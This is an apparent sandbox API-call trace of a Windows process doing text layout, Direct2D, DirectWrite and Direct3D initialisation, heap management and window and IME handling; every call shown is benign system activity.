[0199.810] VirtualProtect (in: lpAddress=0x6ee47000, dwSize=0xb44, flNewProtect=0x2, lpflOldProtect=0x19f0fc | out: lpflOldProtect=0x19f0fc*=0x4) returned 1
[0199.810] LsGetReverseLsimethods () returned 0x0
[0199.810] VirtualProtect (in: lpAddress=0x6ee47000, dwSize=0xb44, flNewProtect=0x4, lpflOldProtect=0x6ed33704 | out: lpflOldProtect=0x6ed33704*=0x2) returned 1
[0199.811] GetProcAddress (hModule=0x65c40000, lpProcName=0x1) returned 0x65c4d890
[0199.811] VirtualProtect (in: lpAddress=0x6ee47000, dwSize=0xb44, flNewProtect=0x2, lpflOldProtect=0x19f100 | out: lpflOldProtect=0x19f100*=0x4) returned 1
[0199.811] LsCreateContext () returned 0x0
[0199.811] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0x670) returned 0x7007b8
[0199.811] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0x24) returned 0x713cf0
[0199.811] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0x110) returned 0x700e30
[0199.811] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0x24) returned 0x713ba0
[0199.811] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0x2e4) returned 0x700f48
[0199.811] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0x20) returned 0x6c6528
[0199.811] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0x20) returned 0x6c6730
[0199.812] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0xa0) returned 0x6d5330
[0199.812] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0x40) returned 0x6ec930
[0199.812] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0x20) returned 0x6c65f0
[0199.812] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0x20) returned 0x6c6550
[0199.812] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0x20) returned 0x6c6578
[0199.812] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0x20) returned 0x6c67a8
[0199.812] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0x400) returned 0x6e9a60
[0199.812] RtlTryEnterCriticalSection (CriticalSection=0x862760) returned 1
[0199.812] RtlTryEnterCriticalSection (CriticalSection=0x862760) returned 1
[0199.812] RtlTryEnterCriticalSection (CriticalSection=0x862760) returned 1
[0199.812] RtlTryEnterCriticalSection (CriticalSection=0x862760) returned 1
[0199.812] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0x128) returned 0x701238
[0199.815] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0x11c) returned 0x701368
[0199.815] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0x108) returned 0x6e9e68
[0199.815] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0x130) returned 0x6e9f78
[0199.815] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0x110) returned 0x6ea0b0
[0199.815] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0x278) returned 0x6ea1c8
[0199.816] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0xc8) returned 0x711198
[0199.816] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0x190) returned 0x6ea448
[0199.816] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0x78) returned 0x6c0be0
[0199.816] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0xf0) returned 0x6ea5e0
[0199.816] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0x4c) returned 0x6fe1e8
[0199.816] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0x194) returned 0x6ea6d8
[0199.816] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0xc8) returned 0x711408
[0199.816] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0x190) returned 0x6ea878
[0199.816] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0x108) returned 0x6eaa10
[0199.816] VirtualProtect (in: lpAddress=0x6ee47000, dwSize=0xb44, flNewProtect=0x4, lpflOldProtect=0x6ed33704 | out: lpflOldProtect=0x6ed33704*=0x2) returned 1
[0199.817] GetProcAddress (hModule=0x65c40000, lpProcName=0x31) returned 0x65c4e580
[0199.817] VirtualProtect (in: lpAddress=0x6ee47000, dwSize=0xb44, flNewProtect=0x2, lpflOldProtect=0x19f0f0 | out: lpflOldProtect=0x19f0f0*=0x4) returned 1
[0199.817] LsSetModWidthPairs () returned 0x0
[0199.817] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0x240) returned 0x717d20
[0199.817] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0x18) returned 0x6f8750
[0199.817] RtlTryEnterCriticalSection (CriticalSection=0x862760) returned 1
[0199.818] RtlTryEnterCriticalSection (CriticalSection=0x862760) returned 1
[0199.818] RtlTryEnterCriticalSection (CriticalSection=0x862760) returned 1
[0199.818] RtlTryEnterCriticalSection (CriticalSection=0x862760) returned 1
[0199.819] RtlTryEnterCriticalSection (CriticalSection=0x862760) returned 1
[0199.819] RtlTryEnterCriticalSection (CriticalSection=0x862760) returned 1
[0199.819] VirtualProtect (in: lpAddress=0x6ee47000, dwSize=0xb44, flNewProtect=0x4, lpflOldProtect=0x6ed33704 | out: lpflOldProtect=0x6ed33704*=0x2) returned 1
[0199.820] GetProcAddress (hModule=0x65c40000, lpProcName=0x34) returned 0x65c4e810
[0199.820] VirtualProtect (in: lpAddress=0x6ee47000, dwSize=0xb44, flNewProtect=0x2, lpflOldProtect=0x19eef8 | out: lpflOldProtect=0x19eef8*=0x4) returned 1
[0199.820] LsSetBreaking () returned 0x0
[0199.820] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0x271) returned 0x717f68
[0199.820] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0xa) returned 0x717828
[0199.820] VirtualProtect (in: lpAddress=0x6ee47000, dwSize=0xb44, flNewProtect=0x4, lpflOldProtect=0x6ed33704 | out: lpflOldProtect=0x6ed33704*=0x2) returned 1
[0199.821] GetProcAddress (hModule=0x65c40000, lpProcName=0x30) returned 0x65c4e330
[0199.821] VirtualProtect (in: lpAddress=0x6ee47000, dwSize=0xb44, flNewProtect=0x2, lpflOldProtect=0x19ef10 | out: lpflOldProtect=0x19ef10*=0x4) returned 1
[0199.821] LsSetDoc () returned 0x0
[0199.821] IClassFactory:LockServer (This=0x640a380, fLock=1) returned 0x0
[0199.821] IClassFactory:LockServer (This=0x640a390, fLock=1) returned 0x0
[0199.821] IClassFactory:LockServer (This=0x640a3a0, fLock=1) returned 0x0
[0199.821] IClassFactory:LockServer (This=0x640a3b0, fLock=1) returned 0x0
[0199.821] VirtualProtect (in: lpAddress=0x6ee47000, dwSize=0xb44, flNewProtect=0x4, lpflOldProtect=0x6ed33704 | out: lpflOldProtect=0x6ed33704*=0x2) returned 1
[0199.822] GetProcAddress (hModule=0x65c40000, lpProcName=0x3) returned 0x65c49060
[0199.822] VirtualProtect (in: lpAddress=0x6ee47000, dwSize=0xb44, flNewProtect=0x2, lpflOldProtect=0x19eef8 | out: lpflOldProtect=0x19eef8*=0x4) returned 1
[0199.823] LsCreateLine () returned 0x0
[0199.823] RtlTryEnterCriticalSection (CriticalSection=0x862760) returned 1
[0199.824] RtlTryEnterCriticalSection (CriticalSection=0x862760) returned 1
[0199.824] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0x114) returned 0x6eab20
[0199.824] WTSGetActiveConsoleSessionId () returned 0x1
[0199.825] RtlTryEnterCriticalSection (CriticalSection=0x862760) returned 1
[0199.825] RtlInitializeConditionVariable () returned 0x645c298
[0199.825] RtlInitializeConditionVariable () returned 0x645c2c8
[0199.825] VirtualProtect (in: lpAddress=0x6ee47000, dwSize=0xb44, flNewProtect=0x4, lpflOldProtect=0x6ed33704 | out: lpflOldProtect=0x6ed33704*=0x2) returned 1
[0199.825] LoadLibraryExA (lpLibFileName="d2d1.dll", hFile=0x0, dwFlags=0x0) returned 0x6d660000
[0199.844] GetProcAddress (hModule=0x6d660000, lpProcName=0x1) returned 0x6d9d3600
[0199.844] VirtualProtect (in: lpAddress=0x6ee47000, dwSize=0xb44, flNewProtect=0x2, lpflOldProtect=0x19e460 | out: lpflOldProtect=0x19e460*=0x4) returned 1
[0199.845] D2D1CreateFactory () returned 0x0
[0199.859] VirtualProtect (in: lpAddress=0x6ee47000, dwSize=0xb44, flNewProtect=0x4, lpflOldProtect=0x6ed33704 | out: lpflOldProtect=0x6ed33704*=0x2) returned 1
[0199.859] LoadLibraryExA (lpLibFileName="DWrite.dll", hFile=0x0, dwFlags=0x0) returned 0x6d460000
[0199.874] GetProcAddress (hModule=0x6d460000, lpProcName="DWriteCreateFactory") returned 0x6d4de750
[0199.877] VirtualProtect (in: lpAddress=0x6ee47000, dwSize=0xb44, flNewProtect=0x2, lpflOldProtect=0x19e464 | out: lpflOldProtect=0x19e464*=0x4) returned 1
[0199.877] DWriteCreateFactory () returned 0x0
[0199.883] VirtualProtect (in: lpAddress=0x6ee47000, dwSize=0xb44, flNewProtect=0x4, lpflOldProtect=0x6ed33704 | out: lpflOldProtect=0x6ed33704*=0x2) returned 1
[0199.884] GetProcAddress (hModule=0x72520000, lpProcName="CreateDXGIFactory1") returned 0x7252fce0
[0199.884] VirtualProtect (in: lpAddress=0x6ee47000, dwSize=0xb44, flNewProtect=0x2, lpflOldProtect=0x19e498 | out: lpflOldProtect=0x19e498*=0x4) returned 1
[0199.884] CreateDXGIFactory1 () returned 0x0
[0199.885] InitOnceExecuteOnce (in: InitOnce=0x6ee3927c, InitFn=0x6e32e660, Parameter=0x0, Context=0x0 | out: InitOnce=0x6ee3927c, Parameter=0x0, Context=0x0) returned 1
[0199.886] VirtualProtect (in: lpAddress=0x6ee47000, dwSize=0xb44, flNewProtect=0x4, lpflOldProtect=0x6ed33704 | out: lpflOldProtect=0x6ed33704*=0x2) returned 1
[0199.886] LoadLibraryExA (lpLibFileName="d3d11.dll", hFile=0x0, dwFlags=0x0) returned 0x72760000
[0199.887] GetProcAddress (hModule=0x72760000, lpProcName="D3D11CreateDevice") returned 0x727d79a0
[0199.887] VirtualProtect (in: lpAddress=0x6ee47000, dwSize=0xb44, flNewProtect=0x2, lpflOldProtect=0x19e220 | out: lpflOldProtect=0x19e220*=0x4) returned 1
[0199.888] D3D11CreateDevice () returned 0x0
[0200.016] WTSGetActiveConsoleSessionId () returned 0x1
[0200.017] _vsnwprintf (in: _Buffer=0x19e020, _BufferCount=0x18f, _Format="vendorId=\"0x%x\",deviceID=\"0x%x\",subSysID=\"0x%x\",revision=\"0x%x\",version=\"%d.%d.%d.%d\"hypervisor=\"%s (%s)\"", _ArgList=0x19dcc4 | out: _Buffer="vendorId=\"0x1414\",deviceID=\"0x8c\",subSysID=\"0x0\",revision=\"0x0\",version=\"10.0.10586.0\"hypervisor=\"No Hypervisor (No SLAT)\"") returned 122
[0200.018] wcsncmp (_String1="vendorId=\"0x1414\",deviceID=\"0x8c\",subSysID=\"0x0\",revision=\"0x0\",version=\"10.0.10586.0\"hypervisor=\"Hypervisor detected (No SLAT)\"", _String2="vendorId=\"0x1414\",deviceID=\"0x8c\",subSysID=\"0x0\",revision=\"0x0\",version=\"10.0.10586.0\"hypervisor=\"No Hypervisor (No SLAT)\"", _MaxCount=0x190) returned -6
[0200.029] RtlTryEnterCriticalSection (CriticalSection=0x862760) returned 1
[0200.210] GetACP () returned 0x4e4
[0200.211] _ultow_s (in: _Value=0x4e4, _Buffer=0x19e576, _BufferCount=0xb, _Radix=10 | out: _Buffer="1252") returned 0x0
[0200.211] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="EUDC\\1252", ulOptions=0x0, samDesired=0x20019, phkResult=0x19e568 | out: phkResult=0x19e568*=0x0) returned 0x2
[0200.263] RtlTryEnterCriticalSection (CriticalSection=0x862760) returned 1
[0200.263] RtlTryEnterCriticalSection (CriticalSection=0x862760) returned 1
[0200.263] VirtualProtect (in: lpAddress=0x6ee47000, dwSize=0xb44, flNewProtect=0x4, lpflOldProtect=0x6ed33704 | out: lpflOldProtect=0x6ed33704*=0x2) returned 1
[0200.264] GetProcAddress (hModule=0x65c40000, lpProcName=0x2c) returned 0x65c43720
[0200.264] VirtualProtect (in: lpAddress=0x6ee47000, dwSize=0xb44, flNewProtect=0x2, lpflOldProtect=0x19f038 | out: lpflOldProtect=0x19f038*=0x4) returned 1
[0200.268] LsQueryLineDup () returned 0x0
[0200.269] VirtualProtect (in: lpAddress=0x6ee47000, dwSize=0xb44, flNewProtect=0x4, lpflOldProtect=0x6ed33704 | out: lpflOldProtect=0x6ed33704*=0x2) returned 1
[0200.269] GetProcAddress (hModule=0x65c40000, lpProcName=0x5) returned 0x65c417d0
[0200.270] VirtualProtect (in: lpAddress=0x6ee47000, dwSize=0xb44, flNewProtect=0x2, lpflOldProtect=0x19f14c | out: lpflOldProtect=0x19f14c*=0x4) returned 1
[0200.270] LsDestroyLine () returned 0x0
[0200.270] RtlTryEnterCriticalSection (CriticalSection=0x862760) returned 1
[0200.270] RtlTryEnterCriticalSection (CriticalSection=0x862760) returned 1
[0200.271] RtlTryEnterCriticalSection (CriticalSection=0x862760) returned 1
[0200.271] RtlTryEnterCriticalSection (CriticalSection=0x862760) returned 1
[0200.271] LsSetDoc () returned 0x0
[0200.271] LsCreateLine ()
[0200.271] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x0, Ptr=0x711198, Size=0x12c) returned 0x7561b0
[0200.271] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x0, Ptr=0x711408, Size=0x12c) returned 0x7562e8
[0200.272] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x0, Ptr=0x6ea448, Size=0x258) returned 0x756420
[0200.272] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x0, Ptr=0x6ea878, Size=0x258) returned 0x756680
[0200.310] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x0, Ptr=0x7561b0, Size=0x190) returned 0x6ea878
[0200.310] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x0, Ptr=0x7562e8, Size=0x190) returned 0x6ea448
[0200.310] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x0, Ptr=0x756420, Size=0x320) returned 0x7568e0
[0200.310] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x0, Ptr=0x756680, Size=0x320) returned 0x756c08
[0200.337] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x0, Ptr=0x6ea878, Size=0x1f4) returned 0x7561b0
[0200.337] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x0, Ptr=0x6ea448, Size=0x1f4) returned 0x7563b0
[0200.337] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x0, Ptr=0x7568e0, Size=0x3e8) returned 0x756f30
[0200.337] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x0, Ptr=0x756c08, Size=0x3e8) returned 0x7565b0
[0200.349] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x0, Ptr=0x7561b0, Size=0x258) returned 0x7569a0
[0200.350] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x0, Ptr=0x7563b0, Size=0x258) returned 0x756c00
[0200.350] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x0, Ptr=0x756f30, Size=0x4b0) returned 0x756f30
[0200.350] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x0, Ptr=0x7565b0, Size=0x4b0) returned 0x7573e8
[0200.350] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x0, Ptr=0x7569a0, Size=0x2bc) returned 0x7578a0
[0200.350] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x0, Ptr=0x756c00, Size=0x2bc) returned 0x756c00
[0200.350] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x0, Ptr=0x756f30, Size=0x578) returned 0x7561b0
[0200.350] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x0, Ptr=0x7573e8, Size=0x578) returned 0x757b68
[0200.365] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x0, Ptr=0x7578a0, Size=0x320) returned 0x756730
[0200.365] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x0, Ptr=0x756c00, Size=0x320) returned 0x756c00
[0200.365] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x0, Ptr=0x7561b0, Size=0x640) returned 0x756f28
[0200.365] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x0, Ptr=0x757b68, Size=0x640) returned 0x757b68
[0200.366] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x0, Ptr=0x756730, Size=0x384) returned 0x756730
[0200.366] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x0, Ptr=0x756c00, Size=0x384) returned 0x7561b0
[0200.366] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x0, Ptr=0x756f28, Size=0x708) returned 0x756f28
[0200.366] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x0, Ptr=0x757b68, Size=0x708) returned 0x757b68
[0200.366] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x0, Ptr=0x756730, Size=0x3e8) returned 0x756730
[0200.367] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x0, Ptr=0x7561b0, Size=0x3e8) returned 0x7561b0
[0200.367] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x0, Ptr=0x756f28, Size=0x7d0) returned 0x756f28
[0200.367] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x0, Ptr=0x757b68, Size=0x7d0) returned 0x757b68
[0200.367] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x0, Ptr=0x756730, Size=0x44c) returned 0x756730
[0200.367] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x0, Ptr=0x7561b0, Size=0x44c) returned 0x7561b0
[0200.367] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x0, Ptr=0x756f28, Size=0x898) returned 0x756f28
[0200.367] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x0, Ptr=0x757b68, Size=0x898) returned 0x757b68
[0200.367] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x0, Ptr=0x756730, Size=0x4b0) returned 0x756730
[0200.367] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x0, Ptr=0x7561b0, Size=0x4b0) returned 0x7561b0
[0200.367] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x0, Ptr=0x756f28, Size=0x960) returned 0x756f28
[0200.367] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x0, Ptr=0x757b68, Size=0x960) returned 0x757b68
[0200.391] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x0, Ptr=0x756730, Size=0x514) returned 0x756730
[0200.391] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x0, Ptr=0x7561b0, Size=0x514) returned 0x7561b0
[0200.392] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x0, Ptr=0x756f28, Size=0xa28) returned 0x756f28
[0200.392] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x0, Ptr=0x757b68, Size=0xa28) returned 0x757b68
[0200.392] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x0, Ptr=0x756730, Size=0x578) returned 0x756730
[0200.392] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x0, Ptr=0x7561b0, Size=0x578) returned 0x7561b0
[0200.392] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x0, Ptr=0x756f28, Size=0xaf0) returned 0x756f28
[0200.392] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x0, Ptr=0x757b68, Size=0xaf0) returned 0x757b68
[0200.432] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x0, Ptr=0x756730, Size=0x5dc) returned 0x756730
[0200.432] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x0, Ptr=0x7561b0, Size=0x5dc) returned 0x758660
[0200.432] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x0, Ptr=0x756f28, Size=0xbb8) returned 0x756f28
[0200.433] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x0, Ptr=0x757b68, Size=0xbb8) returned 0x758c48
[0200.433] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x0, Ptr=0x756730, Size=0x640) returned 0x756730
[0200.433] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x0, Ptr=0x758660, Size=0x640) returned 0x759808
[0200.434] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x0, Ptr=0x756f28, Size=0xc80) returned 0x756f28
[0200.434] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x0, Ptr=0x758c48, Size=0xc80) returned 0x757bb0
[0200.434] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x0, Ptr=0x756730, Size=0x6a4) returned 0x756730
[0200.434] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x0, Ptr=0x759808, Size=0x6a4) returned 0x759808
[0200.434] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x0, Ptr=0x756f28, Size=0xd48) returned 0x758838
[0200.434] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x0, Ptr=0x757bb0, Size=0xd48) returned 0x756de0
[0200.435] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x0, Ptr=0x756730, Size=0x708) returned 0x757b30
[0200.435] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x0, Ptr=0x759808, Size=0x708) returned 0x759808
[0200.435] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x0, Ptr=0x758838, Size=0xe10) returned 0x758838
[0200.435] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x0, Ptr=0x756de0, Size=0xe10) returned 0x759f18
[0200.436] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x0, Ptr=0x757b30, Size=0x76c) returned 0x757b30
[0200.436] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x0, Ptr=0x759808, Size=0x76c) returned 0x7561b0
[0200.436] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x0, Ptr=0x758838, Size=0xed8) returned 0x758838
[0200.436] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x0, Ptr=0x759f18, Size=0xed8) returned 0x759f18
[0200.436] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x0, Ptr=0x757b30, Size=0x7d0) returned 0x757b30
[0200.436] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x0, Ptr=0x7561b0, Size=0x7d0) returned 0x7561b0
[0200.436] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x0, Ptr=0x758838, Size=0xfa0) returned 0x758838
[0200.436] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x0, Ptr=0x759f18, Size=0xfa0) returned 0x759f18
[0200.437] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x0, Ptr=0x757b30, Size=0x834) returned 0x757b30
[0200.437] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x0, Ptr=0x7561b0, Size=0x834) returned 0x7561b0
[0200.437] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x0, Ptr=0x758838, Size=0x1068) returned 0x758838
[0200.437] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x0, Ptr=0x759f18, Size=0x1068) returned 0x759f18
[0200.452] LsDestroyLine () returned 0x0
[0200.452] RtlTryEnterCriticalSection (CriticalSection=0x862760) returned 1
[0200.453] LsSetDoc () returned 0x0
[0200.453] LsCreateLine () returned 0x0
[0200.453] LsQueryLineDup () returned 0x0
[0200.453] LsDestroyLine () returned 0x0
[0200.453] memcpy_s (in: _Destination=0x19e550, _DestinationSize=0xc28, _Source=0x6ee393e0, _SourceSize=0xc28 | out: _Destination=0x19e550) returned 0x0
[0200.453] RtlTryEnterCriticalSection (CriticalSection=0x862760) returned 1
[0200.461] RtlTryEnterCriticalSection (CriticalSection=0x862760) returned 1
[0200.461] malloc (_Size=0xb4) returned 0x6354410
[0200.462] RtlTryEnterCriticalSection (CriticalSection=0x862760) returned 1
[0200.462] RtlTryEnterCriticalSection (CriticalSection=0x862760) returned 1
[0200.462] RtlTryEnterCriticalSection (CriticalSection=0x862760) returned 1
[0200.462] RtlTryEnterCriticalSection (CriticalSection=0x862760) returned 1
[0200.462] RtlTryEnterCriticalSection (CriticalSection=0x862760) returned 1
[0200.462] RtlTryEnterCriticalSection (CriticalSection=0x862760) returned 1
[0200.462] RtlTryEnterCriticalSection (CriticalSection=0x862760) returned 1
[0200.462] RtlTryEnterCriticalSection (CriticalSection=0x862760) returned 1
[0200.462] RtlTryEnterCriticalSection (CriticalSection=0x862760) returned 1
[0200.462] RtlTryEnterCriticalSection (CriticalSection=0x862760) returned 1
[0200.464] GetFocus () returned 0x3029a
[0200.464] RtlTryEnterCriticalSection (CriticalSection=0x862760) returned 1
[0200.464] RtlTryEnterCriticalSection (CriticalSection=0x862760) returned 1
[0200.465] GetFocus () returned 0x3029a
[0200.465] ScreenToClient (in: hWnd=0x3029a, lpPoint=0x19f6e0 | out: lpPoint=0x19f6e0) returned 1
[0200.495] GetCapture () returned 0x0
[0200.496] RtlTryEnterCriticalSection (CriticalSection=0x862760) returned 1
[0200.496] RtlTryEnterCriticalSection (CriticalSection=0x862760) returned 1
[0200.496] RtlTryEnterCriticalSection (CriticalSection=0x862760) returned 1
[0200.496] RtlTryEnterCriticalSection (CriticalSection=0x862760) returned 1
[0200.496] memcpy_s (in: _Destination=0x640a400, _DestinationSize=0x10, _Source=0x19f1c0, _SourceSize=0x10 | out: _Destination=0x640a400) returned 0x0
[0200.497] GetCurrentThreadId () returned 0x7a0
[0200.497] GetCurrentThreadId () returned 0x7a0
[0200.497] GetCurrentThreadId () returned 0x7a0
[0200.497] GetFocus () returned 0x3029a
[0200.498] ScreenToClient (in: hWnd=0x3029a, lpPoint=0x19f6e0 | out: lpPoint=0x19f6e0) returned 1
[0200.498] RtlTryEnterCriticalSection (CriticalSection=0x862760) returned 1
[0200.499] RtlTryEnterCriticalSection (CriticalSection=0x862760) returned 1
[0200.499] memcpy_s (in: _Destination=0x640a410, _DestinationSize=0x10, _Source=0x19f1c0, _SourceSize=0x10 | out: _Destination=0x640a410) returned 0x0
[0200.499] GetCurrentThreadId () returned 0x7a0
[0200.499] GetCurrentThreadId () returned 0x7a0
[0200.499] GetCurrentThreadId () returned 0x7a0
[0200.500] RtlTryEnterCriticalSection (CriticalSection=0x862760) returned 1
[0200.500] ScreenToClient (in: hWnd=0x3029a, lpPoint=0x19f6e0 | out: lpPoint=0x19f6e0) returned 1
[0200.501] GetCapture () returned 0x0
[0200.501] RtlTryEnterCriticalSection (CriticalSection=0x862760) returned 1
[0200.502] RtlTryEnterCriticalSection (CriticalSection=0x862760) returned 1
[0200.502] memcpy_s (in: _Destination=0x640a420, _DestinationSize=0x10, _Source=0x19f1c0, _SourceSize=0x10 | out: _Destination=0x640a420) returned 0x0
[0200.502] GetCurrentThreadId () returned 0x7a0
[0200.502] GetCurrentThreadId () returned 0x7a0
[0200.502] GetCurrentThreadId () returned 0x7a0
[0200.502] ScreenToClient (in: hWnd=0x3029a, lpPoint=0x19f6e0 | out: lpPoint=0x19f6e0) returned 1
[0200.503] GetCapture () returned 0x0
[0200.503] RtlTryEnterCriticalSection (CriticalSection=0x862760) returned 1
[0200.503] RtlTryEnterCriticalSection (CriticalSection=0x862760) returned 1
[0200.503] memcpy_s (in: _Destination=0x640a430, _DestinationSize=0x10, _Source=0x19f1c0, _SourceSize=0x10 | out: _Destination=0x640a430) returned 0x0
[0200.504] GetCurrentThreadId () returned 0x7a0
[0200.504] GetCurrentThreadId () returned 0x7a0
[0200.504] GetCurrentThreadId () returned 0x7a0
[0200.504] ScreenToClient (in: hWnd=0x3029a, lpPoint=0x19f6e0 | out: lpPoint=0x19f6e0) returned 1
[0200.505] RtlTryEnterCriticalSection (CriticalSection=0x862760) returned 1
[0200.505] RtlTryEnterCriticalSection (CriticalSection=0x862760) returned 1
[0200.505] memcpy_s (in: _Destination=0x640a440, _DestinationSize=0x10, _Source=0x19f1c0, _SourceSize=0x10 | out: _Destination=0x640a440) returned 0x0
[0200.508] RtlTryEnterCriticalSection (CriticalSection=0x862760) returned 1
[0200.509] GetCurrentThreadId () returned 0x7a0
[0200.509] GetCurrentThreadId () returned 0x7a0
[0200.509] GetCurrentThreadId () returned 0x7a0
[0200.510] ScreenToClient (in: hWnd=0x3029a, lpPoint=0x19f6e0 | out: lpPoint=0x19f6e0) returned 1
[0200.510] RtlTryEnterCriticalSection (CriticalSection=0x862760) returned 1
[0200.510] RtlTryEnterCriticalSection (CriticalSection=0x862760) returned 1
[0200.511] memcpy_s (in: _Destination=0x640a450, _DestinationSize=0x10, _Source=0x19f1c0, _SourceSize=0x10 | out: _Destination=0x640a450) returned 0x0
[0200.511] GetCurrentThreadId () returned 0x7a0
[0200.511] GetCurrentThreadId () returned 0x7a0
[0200.511] GetCurrentThreadId () returned 0x7a0
[0200.512] GetCurrentThreadId () returned 0x7a0
[0200.512] CActiveIMMAppEx_Trident:IActiveIMMApp:getContext (in: This=0x6c6a50, hWnd=0x3029a, phIMC=0x19fb98 | out: phIMC=0x19fb98*=0x170399) returned 0x0
[0200.512] CActiveIMMAppEx_Trident:IActiveIMMApp:AssociateContext (in: This=0x6c6a50, hWnd=0x3029a, hIME=0x0, phPrev=0x19fb98 | out: phPrev=0x19fb98*=0x170399) returned 0x0
